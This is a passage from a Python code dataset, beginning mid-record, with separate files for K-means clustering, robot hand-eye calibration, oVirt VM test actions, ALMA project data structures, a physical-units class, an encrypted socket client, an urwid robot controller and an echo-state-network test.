self.binaryTreePaths(root.right)\n for r in right:\n res.append(str(root.val) + '->' + r)\n return res\n","sub_path":"LintCode/BinaryTree/480_binary_tree_paths.py","file_name":"480_binary_tree_paths.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"113804336","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef dist(centroid, datapoint, p = 2):\n \n return ((centroid[0] - datapoint[0]) ** p +\n (centroid[1] - datapoint[1]) ** p) ** (1 / p)\n\nclass dataset:\n def __init__(self): \n self.x = np.concatenate((0.2 + np.random.rand(33) / 3, np.random.rand(33) / 3, 0.3 + np.random.rand(33) / 3))\n self.y = np.concatenate((0.4 + np.random.rand(33) / 3, np.random.rand(33) / 3, np.random.rand(33) / 3))\n \n self.x = self.x / np.amax(self.x)\n self.y = self.y / np.amax(self.y)\n\nclass KMeans:\n \n def __init__(self, data, K = 3):\n self.data = data\n self.K = K\n \n pick = np.random.randint(len(self.data.x), size = self.K)\n self.cx = self.data.x[pick]\n self.cy = self.data.y[pick]\n \n self.clusters = np.zeros(len(self.data.x))\n \n def assign(self):\n for i in range(len(self.data.x)):\n dists = []\n for j in range(self.K): \n dists.append(dist((self.cx[j], self.cy[j]),\n (self.data.x[i], self.data.y[i])))\n \n self.clusters[i] = np.argmin(dists)\n \n def recompute(self):\n for i in range(self.K):\n subset_x = self.data.x[self.clusters == i]\n subset_y = self.data.y[self.clusters == i]\n \n self.cx[i] = np.mean(subset_x)\n self.cy[i] = np.mean(subset_y)\n\n def do_step(self):\n self.assign()\n self.recompute() \n \n \n def plot_clusters(self, show = True):\n \n colors = ['b', 'r', 'g', 'y']\n \n for i in range(self.K):\n subset_x = self.data.x[self.clusters == i]\n subset_y = self.data.y[self.clusters == i]\n \n plt.scatter(subset_x, subset_y, color = colors[i % 4])\n \n plt.scatter(self.cx, self.cy, c = 'black', zorder = 2)\n plt.xlabel('x [-]')\n plt.ylabel('y [-]')\n \n if show is True:\n plt.show() \n \n def save_fig(self, name):\n plt.clf()\n self.plot_clusters(show = False)\n\n plt.savefig(name) ","sub_path":"KMeans/KMeans.py","file_name":"KMeans.py","file_ext":"py","file_size_in_byte":2249,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"352990156","text":"# -*- coding:utf-8 -*-\n# @time: \n# @author:张新新\n# @email: 1262981714@qq.com\nimport cv2\nimport os\nfrom board.apriltagboard import AprilTagBoard\nfrom calibration_utils.depth_utils import *\nfrom calibration_utils.apriltag_cali_utils import apriltag_cali_utils\nfrom PIL import Image\nimport transforms3d\nfrom handineye import *\nfrom method import *\n\ndef getImgList(root_dir):\n file_list = os.listdir(root_dir)\n rgb_list = []\n for file in file_list:\n if file.endswith(\".png\"):\n rgb_list.append(os.path.join(root_dir,file))\n return rgb_list\n\ndef get_robot_pose(file):\n temp = np.loadtxt(file)\n poseList = []\n for i in range(temp.shape[0]):\n r = transforms3d.quaternions.quat2mat(np.array([temp[i, 6], temp[i, 3], temp[i, 4], temp[i, 5]]))\n t = np.array([temp[i, :3]]).T\n H = np.append(np.append(r, t, 1), np.array([[0, 0, 0, 1]]), 0)\n poseList.append(H)\n return poseList\n\n\ndef main():\n\n board = AprilTagBoard(\"../config/apriltag.yml\", \"../config/tagId3.csv\")\n root_dir = \"F:/fbs_data_raw/603/intrinsic\"\n img_list, depth_list = getImgList(root_dir)\n fs1 = cv2.FileStorage(os.path.join(root_dir,\"intrinsic.yml\"))\n intrinsic = fs1.getNode(\"intrinsic\").mat()\n dist = fs1.getNode(\"dist\").mat()\n fs1.release()\n if len(img_list) != len(depth_list):\n print(\"numer of img and depth not same\")\n return 0\n objpoints_list = []\n imgpoints_list = []\n extrinsic_list = []\n tags_list = []\n for img_path in img_list:\n img = cv2.imread(img_path)\n tags = apriltag_cali_utils.detectTags(board, img, intrinsic, dist)\n objpoints, imgpoints = board.getObjImgPointList(tags)\n objpoints_list.append(objpoints)\n imgpoints_list.append(imgpoints)\n objpoints_list_acc = []\n imgpoints_list_acc = []\n depth_points_list = []\n for i in range(len(depth_list)):\n depth_img = Image.open(depth_list[i])\n imgpoints_acc, objpoints_acc, depth_points = get_imgpoint_depth(imgpoints_list[i],objpoints_list[i],depth_img)\n objpoints_list_acc.append(objpoints_acc)\n imgpoints_list_acc.append(imgpoints_acc)\n depth_points_list.append(depth_points)\n reject_id = []\n for i in range(len(imgpoints_list_acc)):\n\n succ,extrinsic = apriltag_cali_utils.extrisic_depth(objpoints_list_acc[i], imgpoints_list[i],\n depth_points_list[i], intrinsic, dist)\n if not succ:\n reject_id.append(i)\n continue\n extrinsic_opt = apriltag_cali_utils.extrinsic_opt(intrinsic,dist,extrinsic,imgpoints_list_acc[i],objpoints_list_acc[i])\n extrinsic_list.append(extrinsic_opt)\n\n robot_pose_raw = get_robot_pose(root_dir + \"/robot_pos.txt\")\n robot_pose = []\n for i in range(len(robot_pose)):\n if i in reject_id:\n continue\n robot_pose.append(robot_pose_raw[i])\n\n while (True):\n A, B = motion.motion_axxb(robot_pose, extrinsic_list)\n Tsai_handeye = tsai.calibration(A, B)\n dual_handeye = dual.calibration(A, B)\n rx_handeye = rx.refine(dual_handeye, robot_pose, extrinsic_list, board.boardcorner)\n print(\"rx\", rx_handeye)\n\n A, B = motion.motion_axyb(robot_pose, extrinsic_list)\n li_x, li_y = li.calibration(A, B)\n rz_x, rz_y = rz.refine(li_x, li_y, robot_pose, extrinsic_list, board.boardcorner)\n print(\"rz\", rz_x)\n rz_error = rz.proj_error_each_point(rz_x, rz_y, robot_pose, extrinsic_list, board.boardcorner)\n x, y = np.where(rz_error.reshape([1, -1]) > 0.005)\n if y.shape[0] == 0:\n break\n x, y = np.where(rz_error.reshape([1, -1]) == np.max(rz_error))\n del robot_pose[y[0]]\n del extrinsic_list[y[0]]\n if len(robot_pose)<10:\n break\n\n\n\n\n\n\n\n","sub_path":"test/handineye_test.py","file_name":"handineye_test.py","file_ext":"py","file_size_in_byte":3849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"353085293","text":"import art.rhevm_api.tests_lib.low_level.vms as ll_vms\nimport rhevmtests.compute.virt.config as config\nimport rhevmtests.compute.virt.helper as virt_helper\nfrom rhevmtests.compute.virt.hot_plug_unplug.cpu.helper import (\n hot_plug_unplug_cpu\n)\nfrom rhevmtests.compute.virt.hot_plug_unplug.memory_hotplug.helper import (\n hotplug_memory_check\n)\n\n\ndef vm_life_cycle_action(vm_name, action_name, func_args=None):\n \"\"\"\n run action on tested vm with action parameters\n\n Args:\n vm_name (str): vm name\n action_name (str): action to run on vm\n func_args (dict): (optional) if action parameters are not as default\n\n Returns:\n bool: True is action succeed, False otherwise\n \"\"\"\n func_name = None\n func_kwargs = dict\n\n migration_kwargs = {\n \"positive\": True,\n \"vm\": vm_name\n }\n\n memory_hotplug_kwargs = {\n \"vm_name\": vm_name,\n \"memory_to_expand\": config.GB,\n \"user_name\": None,\n \"password\": config.VMS_LINUX_PW\n }\n\n cpu_hotplug_kwargs = {\n \"number_of_cpus\": 2,\n \"action\": config.HOT_PLUG_CPU,\n \"vm_name\": vm_name,\n \"user_name\": None,\n \"password\": config.VMS_LINUX_PW\n }\n\n snapshot_with_memory = {\n \"vm_name\": vm_name,\n \"snapshot_description\": config.SNAPSHOT_DESCRIPTION,\n \"with_memory\": True,\n \"start_vm\": False\n }\n\n snapshot_without_memory = {\n \"vm_name\": vm_name,\n \"snapshot_description\": config.SNAPSHOT_DESCRIPTION,\n \"with_memory\": False,\n \"start_vm\": False\n }\n\n clone_vm_args = {\n \"base_vm_name\": vm_name,\n \"clone_vm_name\": config.CLONE_VM_NAME\n }\n\n start_vm_args = {\n \"positive\": True,\n \"vm\": vm_name,\n \"wait_for_status\": config.VM_UP,\n \"wait_for_ip\": False,\n }\n stop_vm_args = {\n \"vms_list\": [vm_name]\n }\n suspend_resume_args = {\n 'vm_name': vm_name\n }\n cloud_init_args = {\n 'vm_name': vm_name,\n 'dns_search': None,\n 'dns_servers': None,\n 'time_zone': config.NEW_ZEALAND_TZ,\n 'script_content': None,\n 'hostname': None,\n 'check_nic': False\n }\n\n actions_info = {\n config.MIGRATION_ACTION: (ll_vms.migrateVm, migration_kwargs),\n config.MEMORY_HOTPLUG_ACTION: (\n hotplug_memory_check, memory_hotplug_kwargs\n ),\n config.CPU_HOTPLUG_ACTION: (hot_plug_unplug_cpu, cpu_hotplug_kwargs),\n config.SNAPSHOT_MEM_ACTION: (\n virt_helper.snapshot_vm, snapshot_with_memory\n ),\n config.SNAPSHOT_NO_MEM_ACTION: (\n virt_helper.snapshot_vm, snapshot_without_memory\n ),\n config.CLONE_ACTION: (virt_helper.clone_vm, clone_vm_args),\n config.START_ACTION: (ll_vms.startVm, start_vm_args),\n config.STOP_ACTION: (ll_vms.stop_vms_safely, stop_vm_args),\n config.SUSPEND_RESUME: (\n virt_helper.suspend_resume_vm_test, suspend_resume_args\n ),\n config.CLOUD_INIT_CHECK: (\n virt_helper.check_cloud_init_parameters,\n cloud_init_args\n )\n }\n\n if action_name in actions_info.keys():\n func_name = actions_info[action_name][0]\n func_kwargs = actions_info[action_name][1]\n if func_args:\n func_kwargs.update(func_args)\n return func_name(**func_kwargs)\n","sub_path":"art/tests/rhevmtests/compute/virt/virt_executor.py","file_name":"virt_executor.py","file_ext":"py","file_size_in_byte":3377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"598639273","text":"\"\"\"\r\nProject Data Structures\r\n=======================\r\n\r\nThis module implements the two data structures needed to store ALMA projects\r\nhighest level information.\r\n\r\nRaw data should be constructed using the ALMA_ONLINE tables BMMV_OBSPROJECT,\r\nOBS_PROJECT_STATUS, BMMV_OBSPROPOSAL and XML_OBSPROJECT_ENTITIES, located under\r\nthe ALMA schema. As a guide, the fallowing SQL is a valid constructor\r\nfor ProjecT objects::\r\n\r\n SELECT obs1.CODE, obs3.CYCLE, obs1.PRJ_ARCHIVE_UID as OBSPROJECT_UID,\r\n obs3.ARCHIVE_UID as OBSPROPOSAL_UID, obs1.PRJ_NAME,\r\n obs2.DOMAIN_ENTITY_STATE as PRJ_STATUS, obs1.PRJ_VERSION,\r\n obs5.TIMESTAMP, obs1.PI, obs4.APRC_LETTER_GRADE as APRC_GRADE,\r\n obs4.DC_LETTER_GRADE as DC_GRADE, obs1.PRJ_LETTER_GRADE as GRADE,\r\n obs4.APRC_ORIGINAL_RANK, obs4.APRC_RANK,\r\n obs1.PRJ_SCIENTIFIC_RANK as SCIENTIFIC_RANK, obs4.TRIAGE_FLAG,\r\n obs4.CANCELLED, obs4.ARP_SCORE as APRC_SCORE\r\n FROM ALMA.BMMV_OBSPROJECT obs1,\r\n ALMA.OBS_PROJECT_STATUS obs2,\r\n ALMA.BMMV_OBSPROPOSAL obs3,\r\n ALMA.PROPOSAL obs4,\r\n ALMA.XML_OBSPROJECT_ENTITIES obs5\r\n WHERE obs3.CYCLE IN (%s) AND\r\n obs2.OBS_PROJECT_ID = obs1.PRJ_ARCHIVE_UID AND\r\n obs1.PRJ_ARCHIVE_UID = obs3.PROJECTUID AND\r\n obs4.ARCHIVE_UID = obs3.ARCHIVE_UID AND\r\n obs4.DC_LETTER_GRADE IN ('A', 'B', 'C') AND\r\n obs5.ARCHIVE_UID = obs1.PRJ_ARCHIVE_UID AND\r\n obs2.DOMAIN_ENTITY_STATE in (%s)\r\n\r\n\"\"\"\r\n\r\nfrom collections import namedtuple\r\nfrom pandas import DataFrame, Series, Timestamp\r\n\r\nPROJECT_COLUMNS = [\r\n u'CODE',\r\n u'CYCLE',\r\n u'OBSPROJECT_UID',\r\n u'OBSPROPOSAL_UID',\r\n u'PRJ_NAME',\r\n u'PRJ_STATUS',\r\n u'VERSION',\r\n u'TIMESTAMP',\r\n u'PI',\r\n u'APRC_GRADE',\r\n u'DC_GRADE',\r\n u'GRADE',\r\n u'APRC_ORIGINAL_RANK',\r\n u'APRC_RANK',\r\n u'SCIENTIFIC_RANK',\r\n u'TRIAGE_FLAG',\r\n u'CANCELLED',\r\n u'APRC_SCORE']\r\n\r\nProjectT = namedtuple('ProjectT', PROJECT_COLUMNS)\r\nProjectT.__doc__ = \"Datastructure to store a Project's Basic Information\"\r\nProjectT.CODE.__doc__ = \"Project's Code\"\r\nProjectT.CYCLE.__doc__ = \"Project's Cycle\"\r\nProjectT.OBSPROJECT_UID.__doc__ = \"Project unique ID\"\r\nProjectT.OBSPROPOSAL_UID.__doc__ = \"Project's Proposal unique ID\"\r\nProjectT.PRJ_NAME.__doc__ = \"Project's Name\"\r\nProjectT.PRJ_STATUS.__doc__ = \"Project's Life Cycle Status\"\r\nProjectT.VERSION.__doc__ = \"Project's Version in the ALMA Archive\"\r\nProjectT.TIMESTAMP.__doc__ = \"Last time the Project's APDM was modified in \" \\\r\n \"the Archive\"\r\nProjectT.PI.__doc__ = \"Project's principal investigator\"\r\nProjectT.APRC_GRADE.__doc__ = \"Grade assigned by the APRC\"\r\nProjectT.DC_GRADE.__doc__ = \"Grade assinged by DC\"\r\nProjectT.GRADE.__doc__ = \"Project Grade (should be the same as DC)\"\r\nProjectT.APRC_ORIGINAL_RANK.__doc__ = \"Scientific Rank assigned by the APRC\"\r\nProjectT.APRC_RANK.__doc__ = \"Final Scientific Rank assigned by the APRC\"\r\nProjectT.SCIENTIFIC_RANK.__doc__ = \"Final Scientific Rank after DC (within \"\\\r\n \"a Cycle)\"\r\nProjectT.TRIAGE_FLAG.__doc__ = \"Project's Triage Flag\"\r\nProjectT.CANCELLED.__doc__ = \"Is the project cancelled?\"\r\nProjectT.APRC_SCORE.__doc__ = \"Project's score by the APRC\"\r\n\r\n\r\nclass ProjectDF(DataFrame):\r\n \"\"\"Dataframe to store Projects\r\n\r\n Arguments:\r\n project_list {list} -- a list of ProjectT objects\r\n\r\n Data description:\r\n Columns of ProjectDF are described by the ProjectT data structure.\r\n\r\n \"\"\"\r\n\r\n def __init__(self, project_list):\r\n \"\"\"Initializes a Project Dataframe\r\n Arguments:\r\n project_list {list} -- a list of ProjectT objects\r\n \"\"\"\r\n\r\n super().__init__(project_list, columns=PROJECT_COLUMNS)\r\n # Convert datetime to Timestamp\r\n self['TIMESTAMP'] = self.TIMESTAMP.astype(Timestamp)\r\n\r\n @property\r\n def _constructor(self):\r\n return ProjectDF\r\n\r\n @property\r\n def _constructor_sliced(self):\r\n return Series\r\n","sub_path":"src/dsa/datastructures/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":4076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"445255103","text":"\"\"\" ArboTopo - quantity\n\nThis class represents a physical quantity.\n\ncopyright (C) 2016 Bram Rooseleer\n\"\"\"\nfrom functools import total_ordering\n\n\n@total_ordering\nclass Unit:\n \"\"\"A class representing units.\"\"\"\n\n _existing_units = []\n \"\"\"A list containing the existing units with a symbol.\"\"\"\n\n @staticmethod\n def _get_unit_for(unit_powers, scale):\n \"\"\"Private method to generate or retrieve the needed unit.\"\"\"\n result = Unit(name=None, symbol=None, unit_powers=unit_powers, scale=scale)\n if result in Unit._existing_units:\n return Unit._existing_units[Unit._existing_units.index(result)]\n else:\n return result\n\n def __init__(self, name, symbol, unit_powers=None, scale=1.0):\n \"\"\" Create a unit.\n\n A unit is defined in function of powers of base units and a scale factor. These are given in a dictionary\n 'unit_powers' mapping base units on the power they have in this unit and the number 'scale'. If 'unit_powers' is\n not given, the unit is considered to be a base unit. I then cannot have a scale.\n\n In additional a unit can have a name and/or a symbol. A unit with a symbol will be entered in an internal lookup\n list, so the symbol (and name) can be reused when a similar unit is made.\n \"\"\"\n self._name = name\n self._symbol = symbol\n if unit_powers is not None:\n self._unit_powers = {unit: power for unit, power in unit_powers.items() if power != 0}\n units = tuple(sorted(unit_powers.keys()))\n powers = (unit_powers[unit] for unit in units)\n self._hash = hash((units, powers))\n else:\n self._hash = hash(symbol)\n self._unit_powers = {self: 1}\n if scale != 1.0:\n raise TypeError(\"A base unit cannot have a scale that is not 1\")\n self._scale = scale\n\n if symbol is not None:\n Unit._existing_units.append(self)\n\n @property\n def name(self):\n \"\"\"Return the name of the unit.\"\"\"\n return self._name\n\n @property\n def symbol(self):\n \"\"\"Return the name of the unit.\"\"\"\n return self._symbol\n\n @property\n def unit_powers(self):\n \"\"\"Return a dict which maps the basic SI units on its power in this unit.\"\"\"\n return self._unit_powers.copy()\n\n @property\n def scale(self):\n \"\"\"Return the scale of this unit.\"\"\"\n return self._scale\n\n def __eq__(self, other):\n \"\"\"Return whether the given unit is equal to this one.\"\"\"\n for unit in self.unit_powers:\n if unit in other.unit_powers:\n if self.unit_powers[unit] != other.unit_powers[unit]:\n return False\n elif self.unit_powers[unit] != 0:\n return False\n for unit in other.unit_powers:\n if unit in self.unit_powers:\n if self.unit_powers[unit] != other.unit_powers[unit]:\n return False\n elif other.unit_powers[unit] != 0:\n return False\n return True\n\n def __ne__(self, other):\n \"\"\"Return whether the given unit is unequal to this one.\"\"\"\n return not self == other\n\n def __str__(self):\n \"\"\"Return a string representation of this unit.\"\"\"\n if self.symbol is not None:\n return self.symbol\n else:\n if self.scale != 1:\n result = str(self.scale)\n else:\n result = ''\n for unit in sorted(self.unit_powers.keys()):\n power = self.unit_powers[unit]\n if power != 0:\n result += str(unit)\n if power != 1:\n result += str(power)\n return result\n\n def __mul__(self, other):\n \"\"\"Multiply this unit with the given unit. Return a compatible existing unit if possible.\"\"\"\n unit_powers = self.unit_powers\n for unit in other.unit_powers:\n if unit in unit_powers:\n unit_powers[unit] += other.unit_powers[unit]\n else:\n unit_powers[unit] = other.unit_powers[unit]\n scale = self.scale*other.scale\n return Unit._get_unit_for(unit_powers=unit_powers, scale=scale)\n\n def __pow__(self, other):\n \"\"\"Raises this unit to an (integer) power.\"\"\"\n if not other == int(other):\n raise TypeError(\"only integer powers of units are allowed.\")\n result = ONE\n for i in range(abs(int(other))):\n if other < 0:\n result = result/self\n else:\n result = result*self\n return result\n\n def __truediv__(self, other):\n \"\"\"Divide this unit by the given unit. Return a compatible existing unit if possible.\"\"\"\n unit_powers = self.unit_powers\n for unit in other.unit_powers:\n if unit in unit_powers:\n unit_powers[unit] -= other.unit_powers[unit]\n else:\n unit_powers[unit] = -other.unit_powers[unit]\n scale = self.scale/other.scale\n return Unit._get_unit_for(unit_powers=unit_powers, scale=scale)\n\n def __hash__(self):\n \"\"\"Return the hash of this unit.\"\"\"\n return self._hash\n\n def __lt__(self, other):\n \"\"\"Compare the units for sorting, this is done alphabetically using the symbol.\"\"\"\n return self.symbol < other.symbol\n\n def with_name_symbol(self, name=None, symbol=None):\n \"\"\"Adds name and/or symbol to the unit.\"\"\"\n return Unit(name=name, symbol=symbol, unit_powers=self.unit_powers, scale=self.scale)\n\n# Dimensionless unit\n\nONE = Unit(name='one', symbol='', unit_powers={})\n\n# SI base units\n\nMETRE = Unit(name='metre', symbol='m')\n\"\"\"The SI base unit of length\"\"\"\n\nKILOGRAM = Unit(name='kilogram', symbol='kg')\n\"\"\"The SI base unit of mass\"\"\"\n\nSECOND = Unit(name='second', symbol='s')\n\"\"\"The SI base unit of time\"\"\"\n\nAMPERE = Unit(name='ampere', symbol='A')\n\"\"\"The SI base unit of current\"\"\"\n\nKELVIN = Unit(name='kelvin', symbol='K')\n\"\"\"The SI base unit of temperature\"\"\"\n\nCANDELA = Unit(name='candela', symbol='cd')\n\"\"\"The SI base unit of length\"\"\"\n\nMOLE = Unit(name='mole', symbol='mol')\n\"\"\"The SI base unit of amount of substance\"\"\"\n\n# SI additional geometrical units\n\nMETRE2 = METRE**2\n\"\"\"The SI unit of area\"\"\"\n\nMETRE3 = METRE**3\n\"\"\"The SI unit of volume\"\"\"\n\n# SI additional mechanical units\n\nMPS = METRE/SECOND\n\"\"\"The SI unit of speed\"\"\"\n\nMPS2 = METRE/(SECOND**2)\n\"\"\"The SI unit of acceleration\"\"\"\n\nNEWTON = (KILOGRAM*MPS2).with_name_symbol(name='newton', symbol='N')\n\"\"\"The SI unit of force\"\"\"\n\nPASCAL = (NEWTON/METRE2).with_name_symbol(name='pascal', symbol='Pa')\n\"\"\"The SI unit of pressure\"\"\"\n\nJOULE = (NEWTON*METRE).with_name_symbol(name='joule', symbol='J')\n\"\"\"The SI unit of energy\"\"\"\n\nWATT = (JOULE/SECOND).with_name_symbol(name='watt', symbol='W')\n\"\"\"The SI unit of energy\"\"\"\n\n# SI additional electrical units\n\nCOULOMB = (AMPERE*SECOND).with_name_symbol(name='coulomb', symbol='C')\n\"\"\"The SI unit of charge.\"\"\"\n\nVOLT = (JOULE/COULOMB).with_name_symbol(name='volt', symbol='V')\n\"\"\"The SI unit of electrical potential.\"\"\"\n\nOHM = (VOLT/AMPERE).with_name_symbol(name='ohm', symbol='Ohm')\n\"\"\"The SI unit of electrical resistance.\"\"\"\n\nFARAD = (COULOMB/VOLT).with_name_symbol(name='farad', symbol='F')\n\"\"\"The SI unit of electrical resistance.\"\"\"\n\nHENRI = (VOLT/(AMPERE/SECOND)).with_name_symbol(name='henri', symbol='H')\n\"\"\"The SI unit of electrical resistance.\"\"\"\n","sub_path":"quantity/unit.py","file_name":"unit.py","file_ext":"py","file_size_in_byte":7499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"618445481","text":"import nacl.secret\nimport nacl.utils\nimport nacl.signing\nimport pickle\nimport os\nfrom socket import AF_INET, socket, SOCK_STREAM\nfrom nacl.public import PrivateKey, Box, PublicKey\nfrom nacl.signing import VerifyKey\nfrom common_functions import sign_and_encrypt, decrypt_and_verify\n\n#################################################### Set Host & Port\nHOST = input('Enter host: ')\nif not HOST:\n HOST = \"localhost\"\nPORT = input('Enter port: ')\nif not PORT:\n PORT = 33000\nelse:\n PORT = int(PORT)\nBUFSIZ = 4096\nADDR = (HOST, PORT)\n\n#################################################### Check for private key file\nif not os.path.isfile('client_private_key'):\n skclient = PrivateKey.generate()\n f = open(\"client_private_key\", \"wb\")\n f.write(bytes(skclient))\n f.close()\nfile = open(\"client_private_key\", \"rb\")\nkey = file.read()\n\n#################################################### Asymmetric Encryption\nskclient = PrivateKey(key)\npkclient = skclient.public_key\nclient_signing_key = nacl.signing.SigningKey(bytes(skclient))\nclient_verify_key = client_signing_key.verify_key\n\nclient_socket = socket(AF_INET, SOCK_STREAM)\nclient_socket.connect(ADDR)\n\ncombined_key = pickle.loads(client_socket.recv(BUFSIZ))\nserver_publickey = PublicKey(combined_key[0])\nserver_verify_key = VerifyKey(combined_key[1])\nclient_server_box = Box(skclient, server_publickey)\n\nclient_socket.send(pickle.dumps([bytes(pkclient), bytes(client_verify_key)]))\n\n#################################################### Symmetric Encryption\nsymmetric_privatekey_bytes = client_socket.recv(BUFSIZ)\nsymmetric_privatekey = client_server_box.decrypt(symmetric_privatekey_bytes)\nsymmetric_secret_key_box_client = nacl.secret.SecretBox(symmetric_privatekey)\n\n#################################################### Program Lifetime Loop\nwhile True:\n try:\n msg_encrypted = client_socket.recv(BUFSIZ)\n msg = decrypt_and_verify(symmetric_secret_key_box_client, server_verify_key, msg_encrypted)\n print(msg)\n if msg == \"quit\":\n print(\"closing...\")\n client_socket.close()\n break\n selection = \"\"\n while selection.strip() is \"\":\n selection = input()\n encrypted = sign_and_encrypt(symmetric_secret_key_box_client, client_signing_key, selection)\n client_socket.send(encrypted)\n except OSError:\n break\n\n\n\n","sub_path":"client_main.py","file_name":"client_main.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"360626908","text":"from __future__ import print_function, absolute_import, division\nimport subprocess\nimport urwid\nimport serial\nfrom subprocess import Popen, PIPE\nfrom time import sleep\n\n# что надо сделать. нужно каждую секунду отсылать команду \n# которая была установлена в интерфейсе. для этого \n# нужно создать ещё один поток, который будет отвечать за отправку / чтение\n# и обновление данных в интерфейсе.\n# нужно всё взаимодействие с последовательным портом в один файл\n\ndef exit_on_q(key):\n global power\n global ser\n global spower\n global p\n global currc\n\n if key in ('q', 'Q'):\n #if ser != -1:\n #ser.write(b'q')\n #p.stdin.write(b'Q\\n')\n #p.stdin.flush()\n raise urwid.ExitMainLoop()\n\n #if ser == -1:\n # return\n\n if key in ('w', 'W'):\n # forward\n #ser.write(b'W')#pw = str(power)\n currc = 'W - Forward'\n #string1 = 'W'\n #string1_encode = string1.encode()\n #ser.write(string1_encode)#pw = str(power)\n p.stdin.write(b'W\\n')\n p.stdin.flush()\n\t\t\n if key in ('a', 'A'):\n # Left\n #ser.write(b'A')#pw = str(power)\n currc = 'A - Left'\n #pw = str(power)\n #txt_CP.set_text(('banner', u\"A\"))\n #power = 30\n #spower = 3\n #txt_CP.set_text(('banner', str(power)))\n p.stdin.write(b'A\\n')\n p.stdin.flush()\n\n if key in ('s', 'S'):\n # Backward\n #ser.write(b'S')#pw = str(power)\n currc = 'S - Backward'\n #pw = str(power)\n #txt_CP.set_text(('banner', u\"S\"))\n p.stdin.write(b'S\\n')\n p.stdin.flush()\n\n if key in ('d', 'D'):\n # Right\n #ser.write(b'D')\n currc = 'D - Right'\n #txt_CP.set_text(('banner', u\"D\"))\n #power = 30\n #spower = 3\n #txt_CP.set_text(('banner', str(power)))\n p.stdin.write(b'D\\n')\n p.stdin.flush()\n\n\n if key in (' '):\n # Stop\n #ser.write(b' ');\n currc = 'Space - Stop'\n #power = 0\n #spower = 0\n #txt_CP.set_text(('banner', str(power)))\n #txt_CP.set_text(('banner', u\"Space\"))\n p.stdin.write(b' \\n')\n p.stdin.flush()\n\n if key in ('+'):\n if (power < 99):\n power = power + 10 \n spower = spower + 1\n txt_CP.set_text(('banner', str(power)))\n #ser.write(bytes([spower+48]))\n\t\t\t\n if key in ('-'):\n if (power > 0):\n power = power - 10\n spower = spower - 1\n txt_CP.set_text(('banner', str(power)))\n #ser.write(bytes([spower+48]))\n \n txt_CCV.set_text(('banner', currc))\n\ndef enter_idle():\n loop.remove_watch_file(pipe.stdout)\n\ndef update_text(read_data):\n txt_Q.set_text(('banner', read_data))\n\t\nif __name__ == '__main__':\n\n currc = \"No command\"\n\t\n palette = [\n ('banner', 'black', 'light gray'),\n ('streak', 'black', 'dark blue'),\n ('bg', 'black', 'dark blue'),]\n\n # spower = 0..9 (48 .. 57)\n spower = 4\n power = spower * 10\n\n txt_F = urwid.Text(('banner', u\"W - Forward (\\u2191)\"), align='center')\n txt_LRS = urwid.Text(('banner', u\"\\u2190 A - Left | Space - Stop | D - Right \\u2192\"), align='center')\n txt_B = urwid.Text(('banner', u\"S - Backward (\\u2193)\"), align='center')\n txt_P = urwid.Text(('banner', u\"'+' Increase motor power | '-' Decrease motor power\"), align='center')\n txt_C = urwid.Text(('banner', u\"Current power:\"), align='center')\n\n txt_CP = urwid.Text(('banner', str(power)), align='center')\n\n # current command\n txt_CC = urwid.Text(('banner', u\"Current command: \"), align='center')\n txt_CCV = urwid.Text(('banner', u\"No command\"), align='center')\n\n txt_Log = urwid.Text(('banner', u\"Log: \"), align='center')\n txt_LogV = urwid.Text(('banner', u\"\"), align='center')\n\n txt_Q = urwid.Text(('banner', u\"Q - Quit\"), align='center')\n #txt_F = urwid.Text(('banner', u\"W \\u2191\"), align='center')\n #txt_LRS = urwid.Text(('banner', u\"\\u2190 A | Space - Stop | D \\u2192\"), align='center')\n #txt_B = urwid.Text(('banner', u\"S \\u2193\"), align='center')\n\n #empty string\n txt_E = urwid.Text(('banner', u\"\"), align='center')\n\n pile = urwid.Pile([txt_F, txt_LRS, txt_B, txt_E, txt_P, txt_C, txt_CP, txt_E, txt_CC, txt_CCV, txt_E, txt_Log, txt_LogV, txt_E, txt_Q ])\n top = urwid.Filler(pile, top = 5)\n\n #ser = -1\n\n #try:\n # ser = serial.Serial('/dev/ttyACM0', 9600)\n #except serial.serialutil.SerialException:\n # txt_LogV.set_text(('banner', '[-ERR] Could not connect to Arduino'))\n\n #if ser != -1:\n # txt_LogV.set_text(('banner', '[+OK] Connected to Arduino'))\n\n loop = urwid.MainLoop(top, palette, unhandled_input=exit_on_q, handle_mouse=False)\n\t\n stdout = loop.watch_pipe(update_text)\n stderr = loop.watch_pipe(update_text)\t\n #pipe = subprocess.Popen('for i in $(seq 50); do echo -n \"$i \"; sleep 0.5; done', shell=True, stdout=stdout, stderr=stderr)\t\n p = subprocess.Popen(['python3', 'shell_edt.py'], stdin = PIPE, stdout = stdout, stderr = stdout, shell = False)\t\n loop.run()\n","sub_path":"v1/ec_edt.py","file_name":"ec_edt.py","file_ext":"py","file_size_in_byte":5304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"466180505","text":"import sys\nsys.path.append('/Users/apple/Documents/ML_Project/ML - 2.1/module')\nfrom utils import *\nfrom ngboost.learners import *\nfrom sklearn.metrics import mean_squared_error\nimport numpy as np\nfrom tqdm import tqdm\n\nn_readout=6399\nn_components=237\ndamping = 0.221475\nweight_scaling = 0.081617\n\ntest_len = 1000\n\nX_train, X_test, Y_train, Y_test = get_data(hour_num=0, transform='sin+cos',\n drop_time=True, scale=True)\nmse_list = []\nfor i in tqdm(range(100)):\n\tesn = esn_ridge_learner(\n n_readout=n_readout,\n n_components=n_components,\n damping = damping,\n weight_scaling = weight_scaling,\n alpha=0.01).fit(X_train, Y_train)\n\tY_pred = esn.predict(X_test)\n\tmse = mean_squared_error(Y_pred[:test_len], Y_test[:test_len])\n\tmse_list.append(mse)\n\nprint('Test MSE:', np.mean(mse_list)) # 